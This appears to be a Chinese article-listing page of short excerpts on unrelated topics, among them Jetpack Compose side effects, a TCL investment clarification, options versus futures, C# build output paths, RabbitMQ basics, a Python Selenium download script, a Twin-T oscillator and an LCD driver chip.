文章目录 Compose 生命周期和副作用生命周期副作用APIDisposableEffectSIdeEffectLaunchedEffectrememberCoroutineScoperememberUpdatedStatesnapshotFlowproduceStatederivedStateOf Compose 生命周期和副作用 生命周期 OnActive&#xff1a;添加到视图树。即Composable被首…

传闻不断!TCL紧急澄清 | 百能云芯

TCL科技5月7日晚间发布澄清公告称&#xff0c;近日关注到有媒体发布《TCL华星年内投630亿元加入8代oled线竞逐&#xff01;》《TCL华星计划年内投资第八代OLED》等相关报道。公司目前无新建8代或8.6代OLED产线的投资计划&#xff0c;公司不存在通过定增募集资金新建显示产线的计…

期权和期货有什么区别?

今天期权懂带你了解期权和期货有什么区别&#xff1f;期权和期货是两种常见的衍生金融工具&#xff0c;它们在结构和盈利方式上存在一些关键的区别&#xff1a; 期权 期权是一种给予持有者在未来某个时间以特定价格买入或卖出基础资产的权利&#xff0c;但不是义务。期权的主要…

直播报名 | 珈和科技携手潍柴雷沃共探“现代农场”未来式

数据赋农季系列直播第四期&#xff0c;我们将以“未来农业发展趋势之农场智慧化、管理数据化”为主题展开&#xff0c;此次系列直播由珈和科技及湖北珞珈实验室共同主办&#xff0c;第四期直播很荣幸邀请到潍柴雷沃参与其中&#xff0c;双方将就智慧农服平台和数据交易SaaS平台…

C#里如何设置输出路径,不要net7.0-windows

官网介绍&#xff1a; 更改生成输出目录 - Visual Studio (Windows) | Microsoft Learn <PropertyGroup> <AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath> <AppendRuntimeIdentifierToOutputPath>false</Appen…

RabbitMQ基础入门

初识MQ 微服务间通讯有同步和异步两种方式&#xff1a; 同步通讯&#xff1a;就像打电话&#xff0c;需要实时响应。 异步通讯&#xff1a;就像发邮件&#xff0c;不需要马上回复。 两种方式各有优劣&#xff0c;打电话可以立即得到响应&#xff0c;但是你却不能跟多个人同…

Python自动化下载指定公开页面文件

示例代码如下&#xff0c;但你拿到本地之需要做两件事才能运行 from selenium import webdriver from selenium.webdriver.chrome.service import Service from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys import time# 设置Se…

【电路笔记】-Twin-T振荡器

Twin-T振荡器 文章目录 Twin-T振荡器1、概述2、Twin-T振荡器3、Twin-T放大4、Twin-T 振荡器示例5、总结Twin-T 振荡器是另一种 RC 振荡器电路,它使用两个并联的 RC 网络来产生单一频率的正弦输出波形。 1、概述 Twin-T 振荡器是另一种类型的 RC 振荡器,它产生正弦波输出,用…

已经安装tensorflow,仍报错No module named ‘tensorflow‘

在安装某些python虚拟环境的教程文章中&#xff0c;经常看到有评论区说安装了但是调用显示无模块&#xff0c;例如pytorch和tensorflow等等。 其实跟之前我写过的一篇文章解决方法类似&#xff0c;就是python项目中需要应用哪个虚拟环境&#xff0c;这个项目的python解释器就选…

LCD驱动IC-抗干扰液晶段码显示屏驱动芯片,液晶显示驱动原厂-VK2C23A/B LQFP64/48

产品品牌&#xff1a;永嘉微电/VINKA 产品型号&#xff1a;VK2C23A/B 封装形式&#xff1a;LQFP64/48 概述 VK2C23是一个点阵式存储映射的LCD驱动器&#xff0c;可支持最大224点&#xff08;56SEGx4COM&#xff09; 或者最大416点&#xff08;52SEGx8COM&#xff09;的LCD屏。…